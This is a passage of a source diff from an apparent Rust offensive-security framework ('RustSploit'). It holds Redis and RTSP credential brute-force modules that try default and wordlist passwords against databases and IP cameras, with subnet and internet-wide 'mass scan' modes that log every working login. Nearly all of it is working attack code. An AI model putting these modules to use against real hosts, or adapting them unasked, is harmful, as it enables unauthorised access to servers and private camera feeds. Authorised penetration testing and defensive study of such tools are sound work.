let output_file = cfg_prompt_output_file("output_file", "Output result file", "redis_subnet_results.txt").await?;
let connection_timeout: u64 = 5;
return run_subnet_bruteforce(target, port, users, passes, &SubnetScanConfig {
concurrency,
verbose,
output_file,
service_name: "redis",
jitter_ms: 50,
source_module: "creds/generic/redis_credcheck",
skip_tcp_check: false,
}, move |ip: IpAddr, port: u16, user: String, pass: String| {
async move {
let target_str = ip.to_string();
let res = tokio::task::spawn_blocking(move || {
attempt_redis_login(&target_str, port, &user, &pass, use_acl, connection_timeout)
}).await;
match res {
Ok(Ok(true)) => LoginResult::Success,
Ok(Ok(false)) => LoginResult::AuthFailed,
Ok(Err(e)) => LoginResult::Error {
message: e.message,
retryable: e.error_type.is_retryable(),
},
Err(e) => LoginResult::Error {
message: format!("Task panic: {}", e),
retryable: false,
},
}
}
}).await;
}
// --- Single Target Mode ---
let use_acl = cfg_prompt_yes_no("use_acl", "Use ACL mode? (Redis 6+ username+password)", false).await?;
let port = cfg_prompt_int_range("port", "Port", DEFAULT_REDIS_PORT as i64, 1, 65535).await? as u16;
let use_defaults = cfg_prompt_yes_no("use_defaults", "Try default credentials first?", true).await?;
let passwords_file = if cfg_prompt_yes_no("use_password_wordlist", "Use password wordlist?", true).await? {
Some(cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?)
} else {
None
};
let usernames_file = if use_acl {
if cfg_prompt_yes_no("use_username_wordlist", "Use username wordlist?", true).await? {
Some(cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?)
} else {
None
}
} else {
None
};
if !use_defaults && passwords_file.is_none() {
return Err(anyhow!("At least a password wordlist or default credentials must be enabled"));
}
let concurrency = cfg_prompt_int_range("concurrency", "Max concurrent tasks", 10, 1, 256).await? as usize;
let connection_timeout = cfg_prompt_int_range("timeout", "Connection timeout (seconds)", 5, 1, 60).await? as u64;
let retry_on_error = cfg_prompt_yes_no("retry_on_error", "Retry on connection errors?", true).await?;
let max_retries = if retry_on_error {
cfg_prompt_int_range("max_retries", "Max retries per attempt", 2, 1, 10).await? as usize
} else {
0
};
let stop_on_success = cfg_prompt_yes_no("stop_on_success", "Stop on first success?", true).await?;
let save_results = cfg_prompt_yes_no("save_results", "Save results to file?", true).await?;
let save_path = if save_results {
Some(cfg_prompt_output_file("output_file", "Output file", "redis_brute_results.txt").await?)
} else {
None
};
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
let combo_input = cfg_prompt_default("combo_mode", "Combo mode (linear/combo/spray)", "combo").await?;
crate::mprintln!("\n{}", format!("[*] Starting brute-force on {}:{}", target, port).cyan());
// Load wordlists
let mut usernames = Vec::new();
let mut passwords = Vec::new();
if use_acl {
if let Some(ref file) = usernames_file {
usernames = load_lines(file)?;
if usernames.is_empty() {
crate::mprintln!("{}", "[!] Username wordlist is empty.".yellow());
} else {
crate::mprintln!("{}", format!("[*] Loaded {} usernames", usernames.len()).green());
}
}
}
if let Some(ref file) = passwords_file {
passwords = load_lines(file)?;
if passwords.is_empty() {
crate::mprintln!("{}", "[!] Password wordlist is empty.".yellow());
} else {
crate::mprintln!("{}", format!("[*] Loaded {} passwords", passwords.len()).green());
}
}
// Add default credentials
if use_defaults {
if use_acl {
for (user, pass) in DEFAULT_ACL_CREDENTIALS {
if !usernames.contains(&user.to_string()) {
usernames.push(user.to_string());
}
if !passwords.contains(&pass.to_string()) {
passwords.push(pass.to_string());
}
}
crate::mprintln!("{}", format!("[*] Added {} default ACL credentials", DEFAULT_ACL_CREDENTIALS.len()).green());
} else {
// Password-only mode: single empty username
if usernames.is_empty() {
usernames.push(String::new());
}
for pass in DEFAULT_PASSWORDS {
if !passwords.contains(&pass.to_string()) {
passwords.push(pass.to_string());
}
}
crate::mprintln!("{}", format!("[*] Added {} default passwords", DEFAULT_PASSWORDS.len()).green());
}
}
if !use_acl && usernames.is_empty() {
usernames.push(String::new());
}
if usernames.is_empty() {
return Err(anyhow!("No usernames available (ACL mode requires usernames)"));
}
if passwords.is_empty() {
return Err(anyhow!("No passwords available"));
}
let mut combos = generate_combos_mode(&usernames, &passwords, parse_combo_mode(&combo_input));
if cfg_prompt_yes_no("cred_file", "Load additional user:pass combos from file?", false).await? {
let cred_path = cfg_prompt_existing_file("cred_file_path", "Credential file (user:pass per line)").await?;
combos.extend(load_credential_file(&cred_path)?);
}
let try_login = move |t: String, p: u16, user: String, pass: String| {
async move {
let res = tokio::task::spawn_blocking(move || {
attempt_redis_login(&t, p, &user, &pass, use_acl, connection_timeout)
}).await;
match res {
Ok(Ok(true)) => LoginResult::Success,
Ok(Ok(false)) => LoginResult::AuthFailed,
Ok(Err(e)) => LoginResult::Error {
message: e.message,
retryable: e.error_type.is_retryable(),
},
Err(e) => LoginResult::Error {
message: format!("Task panic: {}", e),
retryable: false,
},
}
}
};
let result = run_bruteforce(&BruteforceConfig {
target: target.to_string(),
port,
concurrency,
stop_on_success,
verbose,
delay_ms: 0,
max_retries,
service_name: "redis",
jitter_ms: 50,
source_module: "creds/generic/redis_credcheck",
}, combos, try_login).await?;
result.print_found();
if let Some(ref path) = save_path {
result.save_to_file(path)?;
}
// Unknown / errored attempts
if !result.errors.is_empty() {
crate::mprintln!(
"{}",
format!(
"[?] Collected {} unknown/errored Redis responses.",
result.errors.len()
)
.yellow()
.bold()
);
if cfg_prompt_yes_no("save_unknown_responses", "Save unknown responses to file?", true).await? {
let default_name = "redis_unknown_responses.txt";
let fname = cfg_prompt_output_file(
"unknown_responses_file",
"What should the unknown results be saved as?",
default_name,
).await?;
let filename = get_filename_in_current_dir(&fname);
use std::os::unix::fs::OpenOptionsExt;
let mut opts = std::fs::OpenOptions::new();
opts.write(true).create(true).truncate(true);
opts.mode(0o600);
match opts.open(&filename) {
Ok(mut file) => {
writeln!(
file,
"# Redis Bruteforce Unknown/Errored Responses (host,user,pass,error)"
)?;
for (host, user, pass, msg) in &result.errors {
writeln!(file, "{} -> {}:{} - {}", host, user, pass, msg)?;
}
file.flush()?;
crate::mprintln!(
"{}",
format!("[+] Unknown responses saved to '{}'", filename.display()).green()
);
}
Err(e) => {
crate::mprintln!(
"{}",
format!(
"[!] Could not create unknown response file '{}': {}",
filename.display(),
e
)
.red()
);
}
}
}
}
Ok(())
}
// ============================================================================
// Redis Protocol Functions
// ============================================================================
/// Send a PING to Redis. Returns Ok(true) if we get +PONG without auth,
/// Ok(false) if auth is required (-NOAUTH), Err on connection failure.
fn redis_ping(target: &str, port: u16, timeout_secs: u64) -> std::result::Result<bool, RedisError> {
let addr = format!("{}:{}", target, port);
let timeout = Duration::from_secs(timeout_secs);
let socket_addr = std::net::ToSocketAddrs::to_socket_addrs(&addr)
.map_err(|e| RedisError::from_anyhow(e.into()))?
.next()
.ok_or_else(|| RedisError {
error_type: RedisErrorType::ConnectionRefused,
message: "Resolution failed".to_string(),
})?;
let mut stream = crate::utils::blocking_tcp_connect(&socket_addr, timeout)
.map_err(|e| RedisError::from_anyhow(e.into()))?;
if let Err(e) = stream.set_nodelay(true) { crate::meprintln!("[!] Socket option error: {}", e); }
stream.set_read_timeout(Some(timeout)).map_err(|e| RedisError::from_anyhow(e.into()))?;
stream.set_write_timeout(Some(timeout)).map_err(|e| RedisError::from_anyhow(e.into()))?;
stream.write_all(&resp_cmd(&[b"PING"]))
.map_err(|e| RedisError::from_anyhow(e.into()))?;
let mut buffer = [0u8; 1024];
let n = stream.read(&mut buffer)
.map_err(|e| RedisError::from_anyhow(e.into()))?;
let response = String::from_utf8_lossy(&buffer[..n]);
if response.contains("+PONG") {
Ok(true)
} else if response.contains("-NOAUTH") {
Ok(false)
} else {
Err(RedisError {
error_type: RedisErrorType::ProtocolError,
message: format!("Unexpected PING response: {}", response.trim()),
})
}
}
/// Build a RESP (REdis Serialization Protocol) array command.
/// Length-prefixed format prevents injection even if args contain \r\n.
fn resp_cmd(args: &[&[u8]]) -> Vec<u8> {
let mut cmd = format!("*{}\r\n", args.len()).into_bytes();
for arg in args {
cmd.extend_from_slice(format!("${}\r\n", arg.len()).as_bytes());
cmd.extend_from_slice(arg);
cmd.extend_from_slice(b"\r\n");
}
cmd
}
/// Attempt Redis AUTH login using safe RESP protocol framing.
/// Returns Ok(true) on +OK, Ok(false) on -ERR, Err on connection issues.
/// On success, also sends INFO server to gather version info.
fn attempt_redis_login(
target: &str,
port: u16,
user: &str,
pass: &str,
acl_mode: bool,
timeout_secs: u64,
) -> std::result::Result<bool, RedisError> {
let addr = format!("{}:{}", target, port);
let timeout = Duration::from_secs(timeout_secs);
let socket_addr = std::net::ToSocketAddrs::to_socket_addrs(&addr)
.map_err(|e| RedisError::from_anyhow(e.into()))?
.next()
.ok_or_else(|| RedisError {
error_type: RedisErrorType::ConnectionRefused,
message: "Resolution failed".to_string(),
})?;
let mut stream = crate::utils::blocking_tcp_connect(&socket_addr, timeout)
.map_err(|e| RedisError::from_anyhow(e.into()))?;
if let Err(e) = stream.set_nodelay(true) { crate::meprintln!("[!] Socket option error: {}", e); }
stream.set_read_timeout(Some(timeout)).map_err(|e| RedisError::from_anyhow(e.into()))?;
stream.set_write_timeout(Some(timeout)).map_err(|e| RedisError::from_anyhow(e.into()))?;
// Build AUTH command using RESP array format (injection-safe)
let auth_cmd = if acl_mode {
resp_cmd(&[b"AUTH", user.as_bytes(), pass.as_bytes()])
} else {
resp_cmd(&[b"AUTH", pass.as_bytes()])
};
stream.write_all(&auth_cmd)
.map_err(|e| RedisError::from_anyhow(e.into()))?;
let mut buffer = [0u8; 2048];
let n = stream.read(&mut buffer)
.map_err(|e| RedisError::from_anyhow(e.into()))?;
let response = String::from_utf8_lossy(&buffer[..n]);
if response.contains("+OK") {
// Auth succeeded — gather server info
if stream.write_all(&resp_cmd(&[b"INFO", b"server"])).is_ok() {
let mut info_buf = [0u8; 4096];
if let Ok(info_n) = stream.read(&mut info_buf) {
let info_response = String::from_utf8_lossy(&info_buf[..info_n]);
// Extract version if available
for line in info_response.lines() {
if line.starts_with("redis_version:") {
crate::mprintln!(
"{}",
format!(" [i] Redis version on {}:{} -> {}", target, port, line.trim()).cyan()
);
break;
}
}
}
}
// Clean disconnect
if let Err(e) = stream.write_all(&resp_cmd(&[b"QUIT"])) { crate::meprintln!("[!] Redis QUIT write error: {}", e); }
return Ok(true);
}
if response.contains("-ERR") || response.contains("-WRONGPASS") {
return Ok(false);
}
// Server requires no password — treat empty-password probe as success
if response.contains("-NOAUTH") && pass.is_empty() {
return Ok(true);
}
Err(RedisError {
error_type: RedisErrorType::ProtocolError,
message: format!("Unexpected AUTH response: {}", response.trim()),
})
}
@@ -0,0 +1,707 @@
use anyhow::{anyhow, Result};
use base64::engine::general_purpose::STANDARD as Base64;
use base64::Engine as _;
use colored::*;
use std::{
net::{IpAddr, SocketAddr},
sync::Arc,
time::Duration,
};
use tokio::{
io::{AsyncReadExt, AsyncWriteExt},
time::timeout,
};
use crate::utils::{
generate_combos_mode, parse_combo_mode, load_credential_file,
is_mass_scan_target, is_subnet_target, run_bruteforce, run_mass_scan,
run_subnet_bruteforce, BruteforceConfig, LoginResult, MassScanConfig, SubnetScanConfig,
};
use crate::utils::{
cfg_prompt_default, cfg_prompt_existing_file, cfg_prompt_int_range, cfg_prompt_output_file,
cfg_prompt_port, cfg_prompt_yes_no, load_lines, normalize_target,
};
pub fn info() -> crate::module_info::ModuleInfo {
crate::module_info::ModuleInfo {
name: "RTSP Brute Force".to_string(),
description: "Brute-force RTSP authentication for IP cameras and streaming devices. Supports advanced RTSP commands, custom headers, path brute-forcing, and subnet/mass scanning.".to_string(),
authors: vec!["RustSploit Contributors".to_string()],
references: vec![],
disclosure_date: None,
rank: crate::module_info::ModuleRank::Normal,
}
}
const CONNECT_TIMEOUT_MS: u64 = 3000;
fn display_banner() {
if crate::utils::is_batch_mode() { return; }
crate::mprintln!(
"{}",
"╔═══════════════════════════════════════════════════════════╗".cyan()
);
crate::mprintln!(
"{}",
"║ Advanced RTSP Brute Force Module ║".cyan()
);
crate::mprintln!(
"{}",
"║ IP Camera and Streaming Server Credential Testing ║".cyan()
);
crate::mprintln!(
"{}",
"║ Supports path enumeration and custom headers ║".cyan()
);
crate::mprintln!(
"{}",
"║ Modes: Single Target & Mass Scan (Hose) ║".cyan()
);
crate::mprintln!(
"{}",
"╚═══════════════════════════════════════════════════════════╝".cyan()
);
crate::mprintln!();
}
/// Main entry point for the advanced RTSP brute force module.
pub async fn run(target: &str) -> Result<()> {
display_banner();
crate::mprintln!("{}", format!("[*] Target: {}", target).cyan());
// --- Mass Scan Mode ---
if is_mass_scan_target(target) {
crate::mprintln!("{}", "[*] Mode: Mass Scan / Hose".yellow());
let usernames_file =
cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
let passwords_file =
cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
let paths_file =
cfg_prompt_existing_file("paths_file", "RTSP paths file (empty for none/root)").await?;
let users = Arc::new(load_lines(&usernames_file)?);
let passes = Arc::new(load_lines(&passwords_file)?);
let mut paths = load_lines(&paths_file)?;
if paths.is_empty() {
paths.push("".to_string());
}
let paths = Arc::new(paths);
if users.is_empty() || passes.is_empty() {
return Err(anyhow!("Wordlists cannot be empty"));
}
let cfg = MassScanConfig {
protocol_name: "RTSP",
default_port: 554,
state_file: "rtsp_hose_state.log",
default_output: "rtsp_mass_results.txt",
default_concurrency: 500,
};
return run_mass_scan(target, cfg, move |ip: IpAddr, port: u16| {
let users = users.clone();
let passes = passes.clone();
let paths = paths.clone();
async move {
if !crate::utils::tcp_port_open(ip, port, std::time::Duration::from_secs(3)).await {
return None;
}
let sa = SocketAddr::new(ip, port);
let empty_headers: Vec<String> = Vec::new();
for path in paths.iter() {
for user in users.iter() {
for pass in passes.iter() {
let addrs = [sa];
let res = try_rtsp_login(
&addrs,
&sa.to_string(),
user,
pass,
path,
Some("DESCRIBE"),
&empty_headers,
)
.await;
match res {
Ok(true) => {
let now = chrono::Local::now().format("%Y-%m-%d %H:%M:%S");
let line =
format!("[{}] {}:{}:{}:{}\n", now, ip, port, user, pass);
crate::mprintln!(
"\r{}",
format!(
"[+] FOUND: {}:{} -> {}:{} [path={}]",
ip, port, user, pass, path
)
.green()
.bold()
);
return Some(line);
}
Err(e) => {
let err_str = e.to_string().to_lowercase();
if err_str.contains("refused")
|| err_str.contains("timeout")
|| err_str.contains("reset")
{
return None;
}
}
_ => {}
}
}
}
}
None
}
})
.await;
}
// --- Subnet Scan Mode ---
if is_subnet_target(target) {
crate::mprintln!("{}", "[*] Mode: Subnet Scan".cyan());
return run_subnet_scan(target).await;
}
// --- Standard Single-Target Logic ---
let port: u16 = cfg_prompt_port("port", "RTSP Port", 554).await?;
let usernames_file = cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
let passwords_file = cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
let concurrency =
cfg_prompt_int_range("concurrency", "Max concurrent tasks", 10, 1, 10000).await? as usize;
let stop_on_success =
cfg_prompt_yes_no("stop_on_success", "Stop on first success?", true).await?;
let save_results = cfg_prompt_yes_no("save_results", "Save results to file?", true).await?;
let save_path = if save_results {
Some(cfg_prompt_output_file("output_file", "Output file", "rtsp_results.txt").await?)
} else {
None
};
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
let combo_input = cfg_prompt_default("combo_mode", "Combo mode (linear/combo/spray)", "combo").await?;
let advanced_mode = cfg_prompt_yes_no(
"advanced_mode",
"Use advanced RTSP commands/headers (DESCRIBE + custom headers)?",
false,
)
.await?;
let mut advanced_headers: Vec<String> = Vec::new();
let advanced_command = if advanced_mode {
let method = cfg_prompt_default(
"rtsp_method",
"RTSP method to use (e.g. DESCRIBE)",
"DESCRIBE",
)
.await?;
if cfg_prompt_yes_no(
"load_headers_file",
"Load extra RTSP headers from a file?",
false,
)
.await?
{
let headers_path =
cfg_prompt_existing_file("headers_file", "Path to RTSP headers file").await?;
advanced_headers = load_lines(&headers_path)?;
}
Some(method)
} else {
None
};
let advanced_headers = Arc::new(advanced_headers);
// Extract RTSP path if present (e.g., rtsp://host:port/path -> path)
let implicit_path = extract_rtsp_path(target);
// Normalize target and add port if needed
let target_normalized = if target.starts_with("rtsp://") {
target
.strip_prefix("rtsp://")
.unwrap_or(target)
.split('/')
.next()
.unwrap_or(target)
} else {
target.split('/').next().unwrap_or(target)
};
let normalized = normalize_target(target_normalized)?;
let target_host = if normalized.contains(':') {
// Already has port — extract host part
normalized
.rsplit_once(':')
.map(|(h, _)| h)
.unwrap_or(&normalized)
.to_string()
} else {
normalized.clone()
};
let users = load_lines(&usernames_file)?;
if users.is_empty() {
crate::mprintln!("[!] Username wordlist is empty. Exiting.");
return Ok(());
}
let pass_lines = load_lines(&passwords_file)?;
if pass_lines.is_empty() {
crate::mprintln!("[!] Password wordlist is empty. Exiting.");
return Ok(());
}
let brute_force_paths = cfg_prompt_yes_no(
"brute_force_paths",
"Brute force possible RTSP paths (e.g. /stream /live)?",
false,
)
.await?;
let mut paths = if brute_force_paths {
let paths_file = cfg_prompt_existing_file("paths_file", "Path to RTSP paths file").await?;
load_lines(&paths_file)?
} else {
vec!["".to_string()]
};
if paths.is_empty() {
crate::mprintln!("[!] RTSP paths list is empty. Falling back to default root path.");
paths.push(String::new());
}
if let Some(p) = implicit_path {
if !paths.iter().any(|existing| existing == &p) {
paths.insert(0, p);
}
}
let addr = format!("{}:{}", target_host, port);
let resolved_addrs = match resolve_targets(&addr).await {
Ok(addrs) => Arc::new(addrs),
Err(e) => {
crate::meprintln!("[!] Failed to resolve '{}': {}", addr, e);
return Err(e);
}
};
let mut combos = generate_combos_mode(&users, &pass_lines, parse_combo_mode(&combo_input));
if cfg_prompt_yes_no("cred_file", "Load additional user:pass combos from file?", false).await? {
let cred_path = cfg_prompt_existing_file("cred_file_path", "Credential file (user:pass per line)").await?;
combos.extend(load_credential_file(&cred_path)?);
}
crate::mprintln!(
"{}",
format!(
"[*] {} credential pair(s) x {} path(s) = {} total attempts",
combos.len(),
paths.len(),
combos.len() * paths.len()
)
.cyan()
);
// Loop over each RTSP path, running the bruteforce engine per path.
// This preserves the engine's clean (user, pass) API while covering
// the RTSP-specific path dimension.
let mut all_found: Vec<(String, String, String, String)> = Vec::new();
for path in &paths {
let path_display = if path.is_empty() {
"/ (root)"
} else {
path.as_str()
};
crate::mprintln!("\n{}", format!("[*] Testing path: {}", path_display).cyan());
let path_c = path.clone();
let addrs_c = resolved_addrs.clone();
let headers_c = advanced_headers.clone();
let command_c = advanced_command.clone();
let try_login = move |t: String, p: u16, user: String, pass: String| {
let addrs = addrs_c.clone();
let path = path_c.clone();
let headers = headers_c.clone();
let command = command_c.clone();
let display_addr = format!("{}:{}", t, p);
async move {
match try_rtsp_login(
addrs.as_slice(),
&display_addr,
&user,
&pass,
&path,
command.as_deref(),
&headers,
)
.await
{
Ok(true) => LoginResult::Success,
Ok(false) => LoginResult::AuthFailed,
Err(e) => {
let msg = e.to_string().to_lowercase();
let retryable = !msg.contains("401") && !msg.contains("403");
LoginResult::Error {
message: e.to_string(),
retryable,
}
}
}
}
};
let result = run_bruteforce(
&BruteforceConfig {
target: target_host.clone(),
port,
concurrency,
stop_on_success,
verbose,
delay_ms: 10,
max_retries: 2,
service_name: "rtsp",
jitter_ms: 50,
source_module: "creds/generic/rtsp_credcheck",
},
combos.clone(),
try_login,
)
.await?;
let path_label = if path.is_empty() {
"NO_PATH".to_string()
} else {
path.clone()
};
for (host, user, pass) in &result.found {
all_found.push((host.clone(), user.clone(), pass.clone(), path_label.clone()));
}
// If stop_on_success and we found something on this path, skip remaining paths
if stop_on_success && !result.found.is_empty() {
crate::mprintln!(
"{}",
"[*] Credentials found and stop_on_success enabled — skipping remaining paths."
.yellow()
);
break;
}
}
// Final summary across all paths
if all_found.is_empty() {
crate::mprintln!(
"{}",
"[-] No credentials found (with these paths).".yellow()
);
} else {
crate::mprintln!(
"\n{}",
format!(
"[+] Found {} valid credential(s) across all paths:",
all_found.len()
)
.green()
.bold()
);
for (host, user, pass, path) in &all_found {
crate::mprintln!(" {} -> {}:{} [path={}]", host, user, pass, path);
}
if let Some(ref path) = save_path {
let filename = crate::utils::get_filename_in_current_dir(path);
{
use std::io::Write;
use std::os::unix::fs::OpenOptionsExt;
let mut opts = std::fs::OpenOptions::new();
opts.write(true).create(true).truncate(true);
opts.mode(0o600);
if let Ok(mut file) = opts.open(&filename) {
for (host, user, pass, path) in &all_found {
if let Err(e) = writeln!(file, "{} -> {}:{} [path={}]", host, user, pass, path) { crate::meprintln!("[!] Write error: {}", e); }
}
crate::mprintln!("[+] Results saved to '{}'", filename.display());
}
}
}
}
Ok(())
}
/// Run subnet scan using the generic subnet bruteforce engine.
/// Loops over RTSP paths externally, running `run_subnet_bruteforce` per path.
async fn run_subnet_scan(target: &str) -> Result<()> {
let port: u16 = cfg_prompt_port("port", "RTSP Port", 554).await?;
let usernames_file = cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
let passwords_file = cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
let paths_file =
cfg_prompt_existing_file("paths_file", "RTSP paths file (empty for none/root)").await?;
let users = load_lines(&usernames_file)?;
let pass_lines = load_lines(&passwords_file)?;
let mut paths = load_lines(&paths_file)?;
if paths.is_empty() {
paths.push("".to_string());
}
if users.is_empty() || pass_lines.is_empty() {
return Err(anyhow!("Wordlists cannot be empty"));
}
let concurrency =
cfg_prompt_int_range("concurrency", "Max concurrent hosts", 50, 1, 10000).await? as usize;
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
let output_file = cfg_prompt_output_file(
"output_file",
"Output result file",
"rtsp_subnet_results.txt",
)
.await?;
for path in &paths {
let path_display = if path.is_empty() {
"/ (root)"
} else {
path.as_str()
};
crate::mprintln!(
"{}",
format!("[*] Subnet scan — RTSP path: {}", path_display).cyan()
);
let path_c = path.clone();
let empty_headers: Arc<Vec<String>> = Arc::new(Vec::new());
run_subnet_bruteforce(
target,
port,
users.clone(),
pass_lines.clone(),
&SubnetScanConfig {
concurrency,
verbose,
output_file: output_file.clone(),
service_name: "rtsp",
jitter_ms: 50,
source_module: "creds/generic/rtsp_credcheck",
skip_tcp_check: false,
},
move |ip: IpAddr, port: u16, user: String, pass: String| {
let path = path_c.clone();
let headers = empty_headers.clone();
async move {
let sa = SocketAddr::new(ip, port);
let addrs = [sa];
match try_rtsp_login(
&addrs,
&sa.to_string(),
&user,
&pass,
&path,
Some("DESCRIBE"),
&headers,
)
.await
{
Ok(true) => LoginResult::Success,
Ok(false) => LoginResult::AuthFailed,
Err(e) => {
let msg = e.to_string().to_lowercase();
// Connection errors are retryable; auth errors are not
let retryable = msg.contains("refused")
|| msg.contains("timeout")
|| msg.contains("reset")
|| msg.contains("connection");
LoginResult::Error {
message: e.to_string(),
retryable,
}
}
}
}
},
)
.await?;
}
Ok(())
}
/// Resolve a host:port (literal v4/v6 or DNS) into all possible SocketAddrs.
async fn resolve_targets(addr: &str) -> Result<Vec<SocketAddr>> {
// 1) If it's a literal SocketAddr, return it directly
if let Ok(sa) = addr.parse::<SocketAddr>() {
return Ok(vec![sa]);
}
// 2) Split into host / port
let (host, port) = if let Some((h, p)) = addr.rsplit_once(':') {
(h.to_string(), p.parse().unwrap_or(554))
} else {
(addr.to_string(), 554)
};
// 3) Clean any nested brackets and format bracketed IPv6 or plain host
let host_clean = host.trim_matches(|c| c == '[' || c == ']').to_string();
let host_port = if host_clean.contains(':') {
format!("[{}]:{}", host_clean, port)
} else {
format!("{}:{}", host_clean, port)
};
// 4) DNS lookup (handles A + AAAA)
let addrs = tokio::net::lookup_host(host_port.clone())
.await
.map_err(|e| anyhow!("DNS lookup '{}': {}", host_port, e))?
.collect::<Vec<_>>();
if addrs.is_empty() {
Err(anyhow!("No addresses found for '{}'", host_port))
} else {
Ok(addrs)
}
}
/// Attempt RTSP login, trying each resolved address until one succeeds or all fail.
async fn try_rtsp_login(
addrs: &[SocketAddr],
addr_display: &str,
user: &str,
pass: &str,
path: &str,
method: Option<&str>,
extra_headers: &[String],
) -> Result<bool> {
let mut last_err = None;
let mut stream = None;
let mut connected_sa: Option<SocketAddr> = None;
// Try each candidate address
for sa in addrs {
match crate::utils::network::tcp_connect_addr(*sa, Duration::from_millis(CONNECT_TIMEOUT_MS)).await {
Ok(s) => {
stream = Some(s);
connected_sa = Some(*sa);
break;
}
Err(e) => {
last_err = Some(e);
continue;
}
}
}
// Unwrap the successful connection and SocketAddr
let (mut stream, sa) = match (stream, connected_sa) {
(Some(s), Some(sa)) => (s, sa),
_ => {
return Err(anyhow!(
"All connection attempts to {} failed: {}",
addr_display,
last_err.map(|e| e.to_string()).unwrap_or_default()
))
}
};
// Build a proper host:port string for the RTSP URI, handling IPv6 correctly
let ip_str = sa.ip().to_string();
let host_for_uri = if ip_str.contains(':') {
format!("[{}]:{}", ip_str, sa.port())
} else {
format!("{}:{}", ip_str, sa.port())
};
let rtsp_method = method.unwrap_or("OPTIONS");
let path_str = if path.is_empty() { "" } else { path };
let credentials = Base64.encode(format!("{}:{}", user, pass));
let mut request = format!(
"{method} rtsp://{host}/{path} RTSP/1.0\r\nCSeq: 1\r\nAuthorization: Basic {auth}\r\n",
method = rtsp_method,
host = host_for_uri,
path = path_str.trim_start_matches('/'),
auth = credentials,
);
for header in extra_headers {
request.push_str(header);
if !header.ends_with("\r\n") {
request.push_str("\r\n");
}
}
request.push_str("\r\n");
stream.write_all(request.as_bytes()).await?;
let mut buffer = [0u8; 2048];
// Add Read timeout
let n = match timeout(
Duration::from_millis(CONNECT_TIMEOUT_MS),
stream.read(&mut buffer),
)
.await
{
Ok(Ok(n)) => n,
Ok(Err(e)) => return Err(e.into()),
Err(_) => return Err(anyhow!("Read timeout")),
};
if n == 0 {
return Err(anyhow!(
"{}: server closed connection unexpectedly.",
addr_display
));
}
let response = String::from_utf8_lossy(&buffer[..n]);
if response.contains("200 OK") {
Ok(true)
} else if response.contains("401") || response.contains("403") {
Ok(false)
} else {
// Some cameras might return 404 if path is wrong but still authorized?
// Or 400 Bad Request?
// Safest is to treat anything not 200 as fail, but maybe check for specifc auth fail codes.
// If we get 404, the creds might be valid but path invalid.
// But without positive valid signal, we assume fail.
Err(anyhow!(
"{}: unexpected RTSP response: {}",
addr_display,
response.lines().next().unwrap_or("")
))
}
}
/// Extract RTSP path from target string (e.g., rtsp://host:port/path -> Some("/path"))
/// Returns None if no path is present or if path is just "/"
fn extract_rtsp_path(target: &str) -> Option<String> {
let trimmed = target.trim();
// Remove rtsp:// scheme if present
let without_scheme = trimmed.strip_prefix("rtsp://").unwrap_or(trimmed);
// Split on first '/' to separate host:port from path
if let Some((_, path)) = without_scheme.split_once('/') {
// Remove query strings and fragments
let clean_path = path
.split(|c| c == '?' || c == '#')
.next()
.unwrap_or_default()
.trim();
if clean_path.is_empty() || clean_path == "/" {
None
} else {
// Ensure path starts with '/'
let mut final_path = clean_path.to_string();
if !final_path.starts_with('/') {
final_path.insert(0, '/');
}
Some(final_path)
}
} else {
None
}
}
@@ -1,485 +0,0 @@
use anyhow::{anyhow, Result};
use base64::engine::general_purpose::STANDARD as Base64;
use base64::Engine as _;
use colored::*;
use futures::stream::{FuturesUnordered, StreamExt};
use std::{
fs::File,
io::{BufRead, BufReader, Write},
net::SocketAddr,
path::{Path, PathBuf},
sync::Arc,
};
use std::sync::atomic::{AtomicBool, Ordering};
use tokio::{
io::{AsyncReadExt, AsyncWriteExt},
net::TcpStream,
sync::{Mutex, Semaphore},
time::{sleep, Duration},
};
/// Main entry point for the advanced RTSP brute force module.
pub async fn run(target: &str) -> Result<()> {
println!("=== Advanced RTSP Brute Force Module ===");
println!("[*] Target: {}", target);
let port: u16 = loop {
let input = prompt_default("RTSP Port", "554")?;
match input.parse() {
Ok(p) => break p,
Err(_) => println!("Invalid port. Try again."),
}
};
let usernames_file = prompt_required("Username wordlist")?;
let passwords_file = prompt_required("Password wordlist")?;
let concurrency: usize = loop {
let input = prompt_default("Max concurrent tasks", "10")?;
match input.parse() {
Ok(n) if n > 0 => break n,
_ => println!("Invalid number. Try again."),
}
};
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
let save_results = prompt_yes_no("Save results to file?", true)?;
let save_path = if save_results {
Some(prompt_default("Output file", "rtsp_results.txt")?)
} else {
None
};
let verbose = prompt_yes_no("Verbose mode?", false)?;
let combo_mode = prompt_yes_no("Combination mode? (try every pass with every user)", false)?;
let advanced_mode = prompt_yes_no("Use advanced RTSP commands/headers (DESCRIBE + custom headers)?", false)?;
let mut advanced_headers: Vec<String> = Vec::new();
let advanced_command = if advanced_mode {
let method = prompt_default("RTSP method to use (e.g. DESCRIBE)", "DESCRIBE")?;
if prompt_yes_no("Load extra RTSP headers from a file?", false)? {
let headers_path = prompt_required("Path to RTSP headers file")?;
advanced_headers = load_lines(&headers_path)?;
}
Some(method)
} else {
None
};
let advanced_headers = Arc::new(advanced_headers);
let (addr, implicit_path) = normalize_target_input(target, port)?;
let found = Arc::new(Mutex::new(Vec::new()));
let stop = Arc::new(AtomicBool::new(false));
let semaphore = Arc::new(Semaphore::new(concurrency));
println!("\n[*] Starting brute-force on {}", addr);
let resolved_addrs = match resolve_targets(&addr).await {
Ok(addrs) => Arc::new(addrs),
Err(e) => {
eprintln!("[!] Failed to resolve '{}': {}", addr, e);
return Err(e);
}
};
let users = load_lines(&usernames_file)?;
if users.is_empty() {
println!("[!] Username wordlist is empty or invalid. Exiting.");
return Ok(());
}
let pass_lines: Vec<String> = BufReader::new(File::open(&passwords_file)?)
.lines()
.filter_map(|line| line.ok().map(|s| s.trim().to_string()))
.filter(|line| !line.is_empty())
.collect();
if pass_lines.is_empty() {
println!("[!] Password wordlist is empty or invalid. Exiting.");
